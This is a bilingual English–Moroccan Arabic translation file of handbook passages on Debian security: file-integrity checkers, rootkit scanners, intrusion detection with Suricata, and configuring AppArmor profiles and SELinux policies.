ar-MA: هناك العديد من الخيارات في <filename dir="ltr">/etc/default/aide</filename> التي يمكن استخدامها لتعديل سلوك حزمة <emphasis role="pkg">aide</emphasis>. تخزن إعدادات هذا البرنامج في <filename dir="ltr">/etc/aide/aide.conf</filename> و <filename>/etc/aide/aide.conf.d/</filename> (في الواقع، يستخدم <command>update-aide.conf</command> هذه الملفات فقط لتوليد <filename dir="ltr">/var/lib/aide/aide.conf.autogenerated</filename>). تدل الإعدادات على الملفات وخصائص الملفات المطلوب التحقق منها. مثلاً، تتغير محتويات ملفات السجلات بشكل متكرر، ويمكن تجاهل هذه التغيرات طالما أن صلاحيات الوصول لهذه الملفات لم تتغير، لكن بالنسبة للبرامج التنفيذية يجب أن تبقى محتوياتها وصلاحياتها ثابتة. رغم أن صيغة هذه الإعدادات ليست بالغة التعقيد، إلا أنها ليست بدهية أيضاً. قراءة صفحة الدليل <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry>‎ إذن سوف تفيد.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
ar-MA: تُولّد نسخة جديدة من قاعدة البيانات يومياً في <filename dir="ltr">/var/lib/aide/aide.db.new</filename>؛ إذا كانت جميع التغييرات المسجّلة مشروعة، يمكن استخدام هذه النسخة لاستبدال قاعدة البيانات المرجعية.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
ar-MA: <emphasis>بدائل</emphasis> Tripwire و Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
ar-MA: Tripwire يشبه AIDE كثيراً؛ حتى أن صيغة ملفات الإعداد نفسها تقريباً. الزيادة الرئيسية التي يضيفها <emphasis role="pkg">tripwire</emphasis> هي آلية لتوقيع ملف الإعداد، بحيث لا يستطيع المهاجم تعديله حتى يشير لنسخة مختلفة من قاعدة البيانات المرجعية.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
ar-MA: كما يوفر Samhain مزايا مشابهة، بالإضافة لبعض الوظائف التي تساعد على اكتشاف rootkits (انظر الملاحظة الجانبية <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). كما يمكن تثبيته على الشبكة كلها وتسجيل نتائجه على مخدم مركزي (مع استخدام توقيع).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
ar-MA: <emphasis>نظرة سريعة</emphasis> الحزم <emphasis role="pkg">checksecurity</emphasis> و <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
ar-MA: تحوي أولى هذه الحزم عدة سكربتات صغيرة تجري اختبارات أساسية على النظام (كلمات السر الفارغة، ملفات setuid جديدة، وما شابه) وتُحذِّر مدير النظام إذا اقتضى الأمر. رغم اسمها الواضح، إلا أنه لا يجب أن يعتمد مدير النظام عليها وحدها للتأكد من أمان نظام لينكس.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
ar-MA: تسمح الحزمتين <emphasis role="pkg">chkrootkit</emphasis> و <emphasis role="pkg">rkhunter</emphasis> بالبحث عن <emphasis>rootkits</emphasis> التي يحتمل أنها مثبّتة على النظام. للتذكرة، rootkits هي برمجيات مصممة لإخفاء عملية اختراق النظام بينما تحافظ على إمكانية التحكم بالجهاز بصمت. ليست الفحوصات موثوقة 100%، لكنها قد تلفت انتباه مدير النظام عادة للمشاكل الكامنة.

en: Detecting Intrusion (IDS/NIDS)
ar-MA: اكتشاف التطفل (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
ar-MA: <emphasis>أساسيات</emphasis> Denial of service

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
ar-MA: تهدف هجمات ”denial of service“ لغرض واحد فقط: إيقاف خدمة عن العمل. سواء كان الهجوم يشمل إغراق المخدم بالطلبات أو استغلال علة ما، النتيجة النهائية هي نفسها: لم تعد الخدمة متوفرة. المستخدمون المنتظمون غير راضين، وتعاني الهيئة التي تستضيف الخدمة المستهدفة من خسارة سمعتها (وربما أرباحها، إذا كانت الخدمة مثلاً موقع تجارة إلكترونية).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
ar-MA: توصف هذه الهجمات أحياناً بأنها ”موزعة“ (distributed)؛ حيث تشمل هذه الهجمات إغراق المخدم بعدد ضخم من الطلبات التي ترد من مصادر مختلفة عديدة بحيث يعجز المخدم عن إجابة الطلبات النظامية. اكتسب هذان النوعان من الهجمات اختصارين شهيرين: <acronym>DDoS</acronym> و <acronym>DoS</acronym> (الأول للهجمات الموزعة والثاني للهجمات العادية).

en: <emphasis>CAUTION</emphasis> Range of action
ar-MA: <emphasis>تحذير</emphasis> المدى المجدي

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
ar-MA: تتحدد فعالية <command>suricata</command> بمقدار الحركة التي يراها من خلال الواجهة الشبكية المراقبة. من الواضح أنه لن يتمكن من اكتشاف أي شيء إذا لم يتمكن من معاينة الحركة الحقيقية على الشبكة. سوف يراقب إذن، عند توصيله مع تحويلة شبكية (switch)، الهجمات التي تستهدف الجهاز الذي يعمل عليه فقط، وهذا ليس المقصود على الأرجح. بالتالي، يجب توصيل الجهاز الذي يستضيف <command>suricata</command> بمنفذ ”المرآة“ في التحويلة، المخصص لربط التحويلات مع بعضها وبالتالي تصل إليه جميع الرزم.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
ar-MA: <emphasis>التعمق أكثر</emphasis> التكامل مع <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
ar-MA: يوفر Prelude مراقبة مركزية للمعلومات الأمنية. تتضمن معماريته التجزيئية مخدماً (<emphasis>manager</emphasis> في <emphasis role="pkg">prelude-manager</emphasis>) الذي يجمع التحذيرات التي تولدها الحساسات (<emphasis>sensors</emphasis>) المختلفة.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
ar-MA: يمكن إعداد Suricata حتى يعمل كحساس. من الحساسات الأخرى <emphasis>prelude-lml</emphasis>‏ (<emphasis>Log Monitor Lackey</emphasis>) الذي يراقب ملفات السجلات (بطريقة تشبه <command>logcheck</command>، المشروح في <xref linkend="sect.logcheck" />).

en: Introduction to AppArmor
ar-MA: مقدمة إلى AppArmor

en: Principles
ar-MA: المبادئ

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
ar-MA: AppArmor هو نظام تحكم إلزامي بالوصول <emphasis>Mandatory Access Control</emphasis> ‏(MAC) مبني على واجهة LSM‏ (<emphasis>Linux Security Modules</emphasis>) في لينكس. عملياً، تستشير النواة AppArmor قبل كل استدعاء للنظام حتى تعرف إذا كانت العملية المستدعية مخولة لتنفيذ الإجراء المطلوب. يعتمد AppArmor على هذه الآلية لتقييد التطبيقات بمجموعة محددة من الموارد.

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
ar-MA: تُخزَّن بروفايلات AppArmor في <filename>/etc/apparmor.d/</filename> وهي تحوي قائمة من قواعد التحكم بالوصول لكل الموارد التي يمكن أن يستخدمها أي برنامج. يترجم <command>apparmor_parser</command> هذه البروفايلات ويحملها إلى النواة. يمكن تحميل كل بروفايل إما في وضع الإلزام أو وضع الشكوى. يفرض الوضع الأول اتباع السياسة ويبلغ عن محاولات اختراقها، أما الوضع الثاني فلا يفرض السياسة بل يكتفي بتسجيل نداءات النظام التي تخالف السياسة والتي كان الوضع الأول سيمنعها.

en: Enabling AppArmor and managing AppArmor profiles
ar-MA: تفعيل AppArmor وإدارة بروفايلاته

en: <emphasis>NOTE</emphasis> More AppArmor profiles
ar-MA: <emphasis>ملاحظة</emphasis> بروفايلات AppArmor إضافية

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
ar-MA: تحوي الحزمة <emphasis role="pkg">apparmor-profiles</emphasis> بروفايلات يديرها مجتمع AppArmor المنبعي. للحصول على بروفايلات إضافية أخرى يمكنك تثبيت <emphasis role="pkg">apparmor-profiles-extra</emphasis> التي تحوي بروفايلات من تطوير أوبنتو ودبيان.

en: Creating a new profile
ar-MA:  إنشاء بروفايل جديد

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
ar-MA: رغم أن إنشاء بروفايلات AppArmor سهل، إلا أن معظم البرامج ليس لها بروفايل. سنشرح في هذا القسم طريقة إنشاء بروفايل جديد من الصفر عبر استخدام البرنامج المستهدف وترك AppArmor يراقب نداءات النظام التي يجريها والموارد التي يستخدمها.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
ar-MA: أهم البرامج التي يجب تقييدها هي البرامج التي تواجه الشبكة لأنها أكثر ما يستهدفه المهاجمون عن بعد. لهذا السبب يوفر AppArmor الأمر المساعد <command>aa-unconfined</command> الذي يسرد البرامج التي توفر مقابس شبكية مفتوحة دون أن ترتبط مع أي بروفايل. ومع استخدام الخيار <literal dir="ltr">--paranoid</literal> سيذكر لك كل العمليات التي تملك اتصالاً شبكياً واحداً نشطاً أو أكثر.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
ar-MA: أول حدث مكتشف هو تنفيذ برنامج آخر. في هذه الحالة، لديك عدة اختيارات: يمكنك تشغيل البرنامج باستخدام بروفايل العملية الأم (خيار الوراثة ”Inherit“)، أو يمكنك تنفيذه باستخدام بروفايل خاص (عبر خياري ”Profile“ و”Named“ اللذان يختلفان عن بعضهما بإمكانية استخدام اسم بروفايل عشوائي فقط)، أو يمكنك تشغيله باستخدام بروفايل فرعي من العملية الأم (خيار ”Child“)، أو يمكنك تشغيله دون أي بروفايل (خيار ”Unconfined“) أو يمكنك عدم السماح بتشغيله نهائياً (خيار ”Deny“).

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
ar-MA: لاحظ أنك إذا اخترت تشغيله باستخدام بروفايل مخصص غير موجود بعد، فسوف تنشئ الأداة البروفايل المفقود كما ستقترح قواعد وصول لذلك البروفايل في الاستدعاء نفسه.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
ar-MA: على مستوى النواة، قُسِّمت صلاحيات المستخدم الجذر إلى ”capabilities“ أو قدرات. إذا كانت إحدى نداءات النظام تحتاج لقدرة معينة، يتحقق AppArmor من أن البروفايل يسمح للبرنامج باستخدام هذه المقدرة.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
ar-MA: بعد المرور على كل الأحداث المسجلة، يعرض عليك البرنامج حفظ البروفايلات التي أنشأتها أثناء العملية. في هذه الحالة، لدينا بروفايلين وقد حفظناهما معاً باستخدام ”Save“ (لكن يمكنك حفظهما بشكل إفرادي أيضاً) قبل الخروج من البرنامج باستخدام ”Finish“.

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
ar-MA: في الواقع، <command>aa-genprof</command> ما هو إلا غلاف ذكي للأمر <command>aa-logprof</command>: فهو ينشئ بروفايلاً فارغاً، ويحمله في وضع الشكوى ثم يستدعي <command>aa-logprof</command> وهي عبارة عن أداة تحدث البروفايل اعتماداً على انتهاكات القواعد المسجلة. ويمكنك إعادة استدعاء تلك الأداة لاحقاً لتحسين البروفايل الذي أنشأته الآن.

en: Introduction to SELinux
ar-MA: مقدمة إلى SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
ar-MA: SELinux‏ (<emphasis>Security Enhanced Linux</emphasis>) هو نظام تحكم إلزامي بالوصول <emphasis>Mandatory Access Control</emphasis> مبني على واجهة LSM‏ (<emphasis>Linux Security Modules</emphasis>) في لينكس. عملياً، تستشير النواة SELinux قبل كل استدعاء للنظام حتى تعرف إذا كانت العملية المستدعية مخولة لتنفيذ الإجراء المطلوب.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
ar-MA: يستخدم SELinux مجموعة من القواعد — تُعرَف باسم <emphasis>السياسة policy</emphasis> — لحظر الإجراءات أو السماح بها. إنشاء هذه القواعد صعب. لكن لحسن الحظ، هناك سياستين قياسيتين (<emphasis>targeted</emphasis> و <emphasis>strict</emphasis>) متاحتين لتوفير عناء معظم عملية الإعداد.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
ar-MA: إدارة الصلاحيات مع SELinux تختلف تماماً عن نظم يونكس التقليدية. تعتمد صلاحيات العملية على <emphasis>سياقها الأمني</emphasis>. يتحدد السياق <emphasis>بهوية</emphasis> المستخدم الذي بدأ تنفيذ العملية، و<emphasis>الدور</emphasis> و<emphasis>النطاق</emphasis> الذين كان يحملهما المستخدم في ذلك الوقت. تعتمد الصلاحيات فعلياً على النطاق، لكن الأدوار هي التي تحكم الانتقالات بين النطاقات. أخيراً، تعتمد الانتقالات بين الأدوار على هوية المستخدم.

en: Security contexts and Unix users
ar-MA: السياق الأمني ومستخدمي يونكس

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
ar-MA: من الواضح أن الصلاحيات نفسها لا تنطبق على جميع <emphasis>الكائنات objects</emphasis> (ملفات، مجلدات، مقابس شبكية، أجهزة، الخ)، بل تختلف من كائن لآخر. لتحقيق هذا، يُربَط كل كائن مع <emphasis>نوع type</emphasis> (تعرف هذه العملية بالوسم labeling). تُمثَّل صلاحيات النطاق إذن بمجموعات من الإجراءات المسموحة (أو الممنوعة) على هذه الأنواع (وبالتالي، تنطبق بشكل غير مباشر على الكائنات التي وسمت بهذا النوع).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
ar-MA: <emphasis>إضافة</emphasis> النطاقات والأنواع متساويان

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
ar-MA: افتراضياً، يرث البرنامج نطاقه من المستخدم الذي بدأ تنفيذه، لكن سياسات SELinux القياسية تتوقع تشغيل برامج مهمة عديدة في نطاقات خاصة بها. لتحقيق ذلك، توسم هذه البرامج التنفيذية بأنواع خاصة بها (مثلاً، يوسم <command>ssh</command> بالنوع <literal>ssh_exec_t</literal> وعند تشغيل البرنامج، سينتقل تلقائياً إلى النطاق <literal>ssh_t</literal>) . تسمح آلية الانتقال التلقائي بين النطاقات هذه بمنح كل برنامج الصلاحيات التي يحتاجها فقط. هذا أحد المبادئ الأساسية في SELinux.

en: Automatic transitions between domains
ar-MA: الانتقالات الآلية بين النطاقات

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
ar-MA: <emphasis>ممارسة عملية</emphasis> معرفة السياق الأمني

en: <primary>context, security context</primary>
ar-MA: <primary>سياق، سياق أمني</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
ar-MA: لمعرفة السياق الأمني الحالي في الصَدَفة، بمكنك استدعاء <command>id -Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
ar-MA: لمعرفة السياق الأمني لعملية معينة، عليك استخدام الخيار <literal>Z</literal> لبرنامج <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
ar-MA: يحوي الحقل الأول الهوية، والدور، والنطاق، ورتبة MCS، تفصل عن بعضها بنقاط رأسية. رتبة MCS‏ (<emphasis>Multi-Category Security</emphasis>) هي متغير يدخل في إعداد سياسة حماية السرية، التي تنظم الوصول للملفات اعتماداً على حساسيتها. هذه الميزة غير مشروحة في هذا الكتاب.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
ar-MA: وأخيراً، لمعرفة النوع المرتبط بملف ما، يمكنك استخدام <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
ar-MA: يجدر بالملاحظة أن الهوية والدور المسندين إلى الملفات لا تحملان أي أهمية خاصة (إذ أنها لا تستخدم أبداً)، لكن جميع الكائنات تتمتع بسياق أمني كامل في سبيل الحفاظ على الاتساق.

en: Setting Up SELinux
ar-MA: إعداد SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
ar-MA: دعم SELinux مبني ضمن النَوَى القياسية التي توفرها دبيان. كما تدعم أدوات يونكس الأساسية SELinux دون أي تعديلات. إذن من السهل نسبياً تفعيل SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
ar-MA: تحوي الحزمة <emphasis role="pkg">selinux-policy-default</emphasis> مجموعة من الأدوات القياسية. افتراضياً، تُقيّد هذه السياسة الوصول لبضعة خدمات واسعة الانتشار. جلسات عمل المستخدمين غير مقيدة ولذلك يُستبعَد أن يمنع SELinux إجراءات المستخدمين المشروعة. ومع ذلك، يزيد هذا من أمان خدمات النظام التي تعمل على الجهاز. لإعداد سياسة تشبه القواعد ”الصارمة“ القديمة، عليك فقط تعطيل وحدة <literal>unconfined</literal> (سنشرح إدارة الوحدات لاحقاً في هذا القسم).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
ar-MA: بعد تثبيت السياسة، عليك وسم جميع الملفات المتوفرة (أي إعطائهم نوعاً). يجب بدء تنفيذ هذه العملية يدوياً باستدعاء <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
ar-MA: نظام SELinux جاهز الآن. لتفعيله عليك إضافة المتغير <literal>selinux=1 security=selinux</literal> إلى النواة لينكس. أما المتغير <literal>audit=1</literal> فيفعّل سجلات SELinux التي تسجل كل الإجراءات التي منعها. أخيراً، يضع المتغير <literal>enforcing=1</literal> القواعد في حيز التطبيق، إذ بدونه يعمل SELinux في وضع <emphasis>permissive</emphasis> الافتراضي حيث يكتفي بتسجيل الإجراءات الممنوعة لكنه يسمح بتنفيذها. عليك إذن تعديل ملف إعداد محمل الإقلاع GRUB لإضافة المتغيرات المطلوبة. إحدى الطرق السهلة لتنفيذ ذلك تعديل المتغير <literal>GRUB_CMDLINE_LINUX</literal> في الملف <filename>/etc/default/grub</filename> ثم استدعاء <command>update-grub</command>. سينشط SELinux بعد إعادة الإقلاع.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
ar-MA: يجدر بالملاحظة أن السكربت <command>selinux-activate</command> يؤتمت هذه الخطوات ويفرض عملية الوسم عند الإقلاع التالي (وبذلك يتفادى إنشاء ملفات جديدة غير موسومة قبل تنشيط SELinux أو أثناء تنفيذ عملية الوسم).

en: Managing an SELinux System
ar-MA: إدارة نظام SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
ar-MA: سياسة SELinux هي مجموعة تجزيئية (modular) من القواعد، وتكتشف أثناء تثبيتها جميع الوحدات الملائمة وتُفعّلها آلياً اعتماداً على الخدمات المثبتة سابقاً. أي أن النظام جاهز للعمل مباشرة. لكن، إذا ثبَّتّ خدمة بعد تثبيت سياسة SELinux، يجب أن تتمكن بطريقة ما من تفعيل الوحدة المناسبة يدوياً. هذا هو الهدف من الأمر <command>semodule</command>. بالإضافة لذلك، يجب أن تتمكن من تعريف الأدوار التي يمكن أن يأخذها كل مستخدم، ويمكن تنفيذ هذا باستخدام الأمر <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
ar-MA: يمكن استخدام هذين الأمرين إذن لتعديل إعدادات SELinux الحالية، المخزنة في <filename>/etc/selinux/default/</filename>. بخلاف ملفات الإعداد الأخرى التي تجدها في <filename>/etc/</filename>، لا يجب تعديل أي من هذه الملفات يدوياً. بل يجب استخدام البرامج المخصصة لهذا الغرض.

en: <emphasis>GOING FURTHER</emphasis> More documentation
ar-MA: <emphasis>التعمق أكثر</emphasis> وثائق إضافية

en: Managing SELinux Modules
ar-MA: إدارة وحدات SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
ar-MA: تخزن وحدات SELinux في المجلد <filename>/usr/share/selinux/default/</filename>. لتنشيط إحدى هذه الوحدات في الإعداد الحالي، عليك استخدام <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. ترمز الإضافة <emphasis>pp.bz2</emphasis> للعبارة <emphasis>policy package</emphasis> (مضغوطة باستخدام bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
ar-MA: يمكن إزالة وحدة من الإعداد الحالي باستخدام <command>semodule -r <replaceable>module</replaceable></command>. أخيراً، يسرد الأمر <command>semodule -l</command> الوحدات المُثبّتة حالياً، كما يطبع أرقام إصدارها. يمكن تفعيل الوحدات اختيارياً عبر <command>semodule -e</command> كما يمكن تعطيلها عبر <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
ar-MA: يُحمّل <command>semodule</command> الإعدادات الجديدة فوراً ما لم تستخدم معه الخيار <literal dir="ltr">-n</literal>. يجدر بالملاحظة أن البرنامج يُعدِّل افتراضياً على الإعدادات الحالية (التي يشير لها المتغير <literal>SELINUXTYPE</literal> في <filename dir="ltr">/etc/selinux/config</filename>)، لكن يمكنك جعله يعدل على إعداد آخر عبر استخدام الخيار <literal dir="ltr">-s</literal>.

en: Managing Identities
ar-MA: إدارة الهويات

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
ar-MA: في كل مرة يُسجّل فيها المستخدم دخوله، تُسنَد له هوية SELinux. تحدد هذه الهوية الأدوار التي يستطيع أخذها. يمكن إدارة هذه التقابلات (بين اسم المستخدم والهويّة، وبين هذه الهوية والأدوار) بالأمر <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
ar-MA: يسرد الأمر <command>semanage login -l</command> التقابلات الحالية بين هويات المستخدمين وهويات SELinux. يحصل المستخدمون الذين ليس لهم مدخلة تقابل صريحة على الهوية المذكورة في المدخلة <literal>__default__</literal>. يربط الأمر <command>semanage login -a -s user_u <replaceable>user</replaceable></command> المستخدم المحدد بالهويّة <emphasis>user_u</emphasis>. وأخيراً، يُسقِط <command>semanage login -d <replaceable>user</replaceable></command> مدخلة التقابل المسندة للمستخدم.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
